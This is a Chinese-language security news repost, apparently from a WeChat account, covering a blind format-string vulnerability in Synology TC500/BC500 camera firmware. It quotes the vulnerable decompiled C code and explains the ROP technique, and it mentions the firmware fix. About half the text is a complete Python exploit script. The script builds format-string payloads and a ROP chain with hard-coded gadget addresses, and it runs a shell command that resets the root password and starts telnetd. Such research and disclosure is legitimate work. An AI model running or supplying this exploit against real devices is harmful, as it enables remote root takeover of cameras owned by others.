https://www.synacktiv.com/publications/exploiting-a-blind-format-string-vulnerability-in-modern-binaries-a-case-study-from
Synacktiv公司的网络安全研究员Baptiste MOINE在群晖(Synology)TC500安全摄像机中发现了一个严重的格式字符串漏洞。这款运行在ARM 32位架构上的摄像机,其Web服务解析HTTP请求的功能中存在安全隐患,这一发现引发了人们对当今互联世界中安全摄像机漏洞问题的广泛关注。值得注意的是,即便设备应用了地址空间布局随机化(ASLR)和位置无关可执行文件(PIE)等强大的保护机制,该漏洞仍然可被利用。
void mg_vsnprintf(const struct mg_connection *conn, int *truncated, char *buf, size_t buflen, const char *fmt, va_list ap) { int n; int ok; if ( buflen ) { n = vsnprintf(buf, buflen, fmt, ap); ok = (n & 0x80000000) == 0; if ( n >= buflen ) { ok = 0; } if ( ok ) { if ( truncated ) { *truncated = 0; } buf[n] = 0; } else { if ( truncated ) { *truncated = 1; } mg_cry(conn, "mg_vsnprintf", "truncating vsnprintf buffer: [%.*s]", (int)((buflen > 200) ? 200 : (buflen - 1)), buf); buf[n] = '\0'; } } else if ( truncated ) { *truncated = 1; } } void mg_snprintf(const struct mg_connection *conn, int *truncated, char *buf, size_t buflen, const char *fmt, ...) { va_list ap; va_start(ap, fmt); mg_vsnprintf(conn, truncated, buf, buflen, fmt, ap); } void print_debug_msg(pthread_t thread_id, const char *fmt) { int i; if ( workerthreadcount > 0 ) { i = 0; do { if ( debug_table[i].tid == thread_id ) { mg_snprintf(0, 0, debug_table[i].buf, 0x80u, fmt); // Uncontrolled format string. debug_table[i].buf[strlen(fmt)] = 0; } ++i; } while ( i < workerthreadcount ); } } void parse_http_request(struct mg_request_info *conn) { pthread_t tid; char buf[0x80]; /* [...] */ tid = pthread_self(); /* [...] */ memset(buf, 0, sizeof(buf)); mg_snprintf(0, 0, buf, 0x80u, "%s%s", hostname, conn->request_uri); // Concat hostname to URI. if ( debug_table ) { print_debug_msg(tid, buf); } /* [...] */ }
在MOINE的详细分析中,他指出漏洞源于print_debug_msg函数中对格式字符串的处理不当。他强调:*"该函数允许攻击者控制传递给vsnprintf的格式字符串,从而可能实现任意内存写入"*。这种HTTP请求格式化中的缺陷为攻击者打开了一扇大门,使其能够绕过ASLR和PIE保护,实现对内存的精确操控。
攻击难度不容小觑:有效载荷被限制在128个字符以内,且字符范围受限(0x00至0x1F)。更棘手的是,攻击者无法看到格式字符串的输出结果,这就构成了一个*"盲式利用"场景。MOINE表示:"由于无法泄露栈地址或基址,我们对内存布局一无所知"*,这进一步增加了攻击的复杂性。
MOINE设计了一套巧妙的攻击策略来突破这个漏洞。通过间接内存操作,他成功克服了载荷限制和可视性限制,最终实现了任意代码执行。他采用了一种精妙的操作技巧:*"我们发现了一个可以被修改的循环指针,可以让它指向栈的其他区域... 创建一个双重指针,利用第一个指针修改第二个指针,使其能够指向栈上的任意位置"*。这样,尽管存在诸多限制,MOINE仍然可以精确定位栈位置。
获取栈的写入权限 | 来源:Synacktiv
在获得任意写入权限后,MOINE开始在漏洞函数的栈帧中的未使用空间构建返回导向编程(ROP)链。他巧妙运用了%*X和c等格式字符串说明符,读取特定的栈值并将其存储在"字符计数器"中。通过精确的递增操作,他调整了这些值,并在未使用的栈空间中放置了跳转地址。
这个细致的过程逐字节构建了ROP链,最终通过system()函数执行最终命令。攻击脚本逐字节构造了一个shell命令:sh${IFS}-c${IFS}'echo${IFS}synodebug:synodebug|chpasswd;telnetd'
,并将其写入内存执行。
Baptiste MOINE公开发布了一个Python脚本,可用于利用这个漏洞获取root shell,进而控制TC500和BC500型号的摄像机。
群晖已在固件版本1.1.3-0442中修复了TC500和BC500摄像机型号中的这个漏洞,这个修复在Pwn2Own比赛前完成,确保了该漏洞无法在比赛中被利用。建议受影响的用户尽快更新到最新固件版本,以防止潜在的攻击利用。
exploit
#!/usr/bin/env python3 import argparse import urllib import socket import struct import time def get_args(): def auto_int(x): return int(x, 0) parser = argparse.ArgumentParser(add_help=False) parser.add_argument("-?", "--help", action="help", help="show this help message and exit") parser.add_argument("-t", "--timeout", help="Timeout while receiving response", default=5, type=float) parser.add_argument("-S", "--shost", help="Source host", type=str) parser.add_argument("-P", "--dport", help="Remote port", default=80, type=int) parser.add_argument("-H", "--dhost", help="Remote host", default="192.168.15.91", type=str) args = parser.parse_args() return args class Exploit(): def __init__(self, shost, dhost, dport): self.prefix_padding_size = 16 self.dhost = dhost self.dport = dport self.sock = self.connect() if not self.sock: exit(0) if shost: self.local_ip = shost else: self.local_ip = self.sock.getsockname()[0] def disconnect(self): self.sock.close() self.sock = None def connect(self): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(None) sock.connect((self.dhost, self.dport)) return sock except Exception as e: return None def send_payload(self, payload): try: if not self.sock: self.sock = self.connect() if not self.sock: exit(0) self.sock.send(payload) resp = self.sock.recv(4096) except Exception as e: pass self.disconnect() def prepare_payload(self, raw_payload, payload_char=0x42): """ Append padding to the payload and check for bad chars. """ assert not (self.local_ip is None) assert not (any(c in raw_payload for c in range(0, 0x21))) url = self.local_ip.encode().ljust(self.prefix_padding_size, b"B")[len(self.local_ip):] url += raw_payload payload = b"AAAA " # HTTP verb payload += url.ljust(115, bytes([payload_char])) # make sure we trigger the truncation payload += b" CCCC\r\n\r\n" # HTTP version return payload def stage_0(self): """ Craft a double stack pointer from a looping one. The looping pointer is at offset 916, we make it point to the offset 924. The pointer at offset 924 is pointing to the offset 153. """ print("[+] Crafting a double stack pointer...") raw_payload = b"" raw_payload += struct.pack("<L", 0x41414141) raw_payload += struct.pack("<L", 0x42424242) raw_payload += f"%{0xe0 - (len(raw_payload) + self.prefix_padding_size)}c".encode() raw_payload += b"%916$hhn" # overwrite the LSB of the looping pointer. payload = self.prepare_payload(raw_payload) self.send_payload(payload) def point_to_fake_stack(self, stack_offset, shift=0): """ Make our controlled stack pointer at offset 924 pointing to our fake stack at a given offset. """ raw_payload = b"" raw_payload += struct.pack("<L", 0x41414141) raw_payload += struct.pack("<L", 0x42424242) raw_payload += f"%{0x50 + ((stack_offset*4) + shift) - (len(raw_payload) + self.prefix_padding_size)}c".encode() raw_payload += b"%916$hhn" payload = self.prepare_payload(raw_payload) self.send_payload(payload) def point_to_ret_addr(self): """ Make our controlled stack pointer at offset 924 pointing to our return address (offset 111). """ raw_payload = b"" raw_payload += struct.pack("<L", 0x41414141) raw_payload += struct.pack("<L", 0x42424242) raw_payload += f"%{0x12c - (len(raw_payload) + self.prefix_padding_size)}c".encode() raw_payload += b"%916$hhn" payload = self.prepare_payload(raw_payload) self.send_payload(payload) def copy_ret_addr_to_ptr(self): """ Copy the return address to the controlled stack pointer at offset 924. """ raw_payload = b"" raw_payload += struct.pack("<L", 0x41414141) raw_payload += struct.pack("<L", 0x42424242) raw_payload += b"%*111$c" raw_payload += b"%924$n" payload = self.prepare_payload(raw_payload) self.send_payload(payload) def write_webd_gagdet_to_fake_stack(self, gadget_offset, stack_offset): """ Write WEBD gadget to our fake stack at a given offset. """ origin_ret_addr = 0x28a5c assert not (gadget_offset < origin_ret_addr & ((1<<16)-1)) self.point_to_fake_stack(stack_offset) raw_payload = b"" raw_payload += struct.pack("<L", 0x41414141) raw_payload += struct.pack("<L", 0x42424242) raw_payload += b"%*111$c" # we use the return address as a reference to our gadget. if gadget_offset - (origin_ret_addr + (len(raw_payload) + self.prefix_padding_size)) > 0: # check if we can just increment the return address. offset = gadget_offset - (origin_ret_addr + (len(raw_payload) + self.prefix_padding_size)) str_offset = str(offset+len("%999999")).ljust(len("999999") - 2, "c") raw_payload += f"%{str_offset}c".encode() raw_payload += b"%924$n" else: # or if we need to overwrite the last two bytes of the return address. self.copy_ret_addr_to_ptr() offset = (gadget_offset & ((1<<16)-1) | 1 << 16) - (origin_ret_addr & ((1<<16)-1)) - (len(raw_payload) + self.prefix_padding_size) str_offset = str(offset+len("%999999")).ljust(len("999999") - 2, "c") raw_payload += f"%{str_offset}c".encode() raw_payload += b"%924$hn" payload = self.prepare_payload(raw_payload) self.send_payload(payload) def write_byte_to_fake_stack(self, value, stack_offset, value_offset): """ Overwrite one byte value of our fake stack at a given offset and index. """ origin_ret_addr = 0x28a5c assert not (value >> 31 == 1) # can't write signed value in one shot. self.point_to_fake_stack(stack_offset, value_offset) raw_payload = b"" raw_payload += struct.pack("<L", 0x41414141) raw_payload += struct.pack("<L", 0x42424242) offset = ((1<<8) | value) - (len(raw_payload) + self.prefix_padding_size) raw_payload += f"%{str(offset)}c".encode() raw_payload += b"%924$hhn" payload = self.prepare_payload(raw_payload, payload_char=value) self.send_payload(payload) def stage_1(self): """ Prepare our fake stack. +------ fake stack offset | +-- format string offset V V 0000: |00│120│ add_sp_20h_pop5-fmt_offset // r4: prepare the return address value before overwriting saved pc. 0004: |01│121│ junk // r5 0008: |02│122│ junk // r6 000c: |03│123│ junk // r7 0010: |04│124│ junk // r8 0014: |05│125│ pop_r3 // pc: just to control the next blx r3. 0018: |06│126│ pop_r4_r5 // r3 001c: |07│127│ add_r1_sp_18h_blx_r3 // pc: r1 points to the offset 0x38 0020: |08│128│ junk // r4 0024: |09│129│ junk // r5 0028: |10│130│ pop_r3 // pc 002c: |11│131│ bl_system // r3 0030: |12│132│ mov_r0_r1_blx_r3 // pc: make r0 pointing to our payload 0034: |13│133│ junk 0038: |14│134│ "sh${IFS}-c${IFS}'echo${IFS}synodebug:synodebug|chpasswd;telnetd'" """ print("[+] Building a fake stack...") add_sp_20h_pop5 = 0x000294bc # add sp, sp, #0x20; pop {r4, r5, r6, r7, r8, pc}; pop_r3 = 0x000a8824 # pop {r3, pc} add_r1_sp_18h_blx_r3 = 0x00042bd0 # add r1, sp, #0x18; add r0, r4, #8; blx r3; bl_system = 0x00025ddc # bl system mov_r0_r1_blx_r3 = 0x0003fd5c # mov r0, r1; blx r3; pop_r4_r5 = 0x0003f5dc # pop {r4, r5, pc}; self.write_webd_gagdet_to_fake_stack(gadget_offset=add_sp_20h_pop5-24, stack_offset=0) self.write_webd_gagdet_to_fake_stack(gadget_offset=pop_r3, stack_offset=5) self.write_webd_gagdet_to_fake_stack(gadget_offset=pop_r4_r5, stack_offset=6) self.write_webd_gagdet_to_fake_stack(gadget_offset=add_r1_sp_18h_blx_r3, stack_offset=7) self.write_webd_gagdet_to_fake_stack(gadget_offset=pop_r3, stack_offset=10) self.write_webd_gagdet_to_fake_stack(gadget_offset=bl_system, stack_offset=11) self.write_webd_gagdet_to_fake_stack(gadget_offset=mov_r0_r1_blx_r3, stack_offset=12) cmd = b"sh${IFS}-c${IFS}'echo${IFS}synodebug:synodebug|chpasswd;telnetd'" for i, char in enumerate(cmd): stack_offset=(14+(i//4)) # 14 is the offset of our command string inside our fake stack. self.write_byte_to_fake_stack(value=char, stack_offset=stack_offset, value_offset=i%4) def stage_2(self): """ Overwrite the return address with the value stored at the offset 0 of our fake stack (offset 120). """ print("[+] Overwriting PC...") self.point_to_ret_addr() raw_payload = b"" raw_payload += struct.pack("<L", 0x41414141) raw_payload += struct.pack("<L", 0x42424242) raw_payload += b"%*120$c" # we use our fake stack value. raw_payload += b"%924$n" payload = self.prepare_payload(raw_payload) self.send_payload(payload) def main(args): exploit = Exploit(args.shost, args.dhost, args.dport) exploit.stage_0() exploit.stage_1() exploit.stage_2() print("[+] Woot!") if __name__ == "__main__": args = get_args() main(args)
原文始发于微信公众号(独眼情报):【PoC】Synology TC500 和 BC500 摄像头存在严重漏洞,可获取 Shell
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论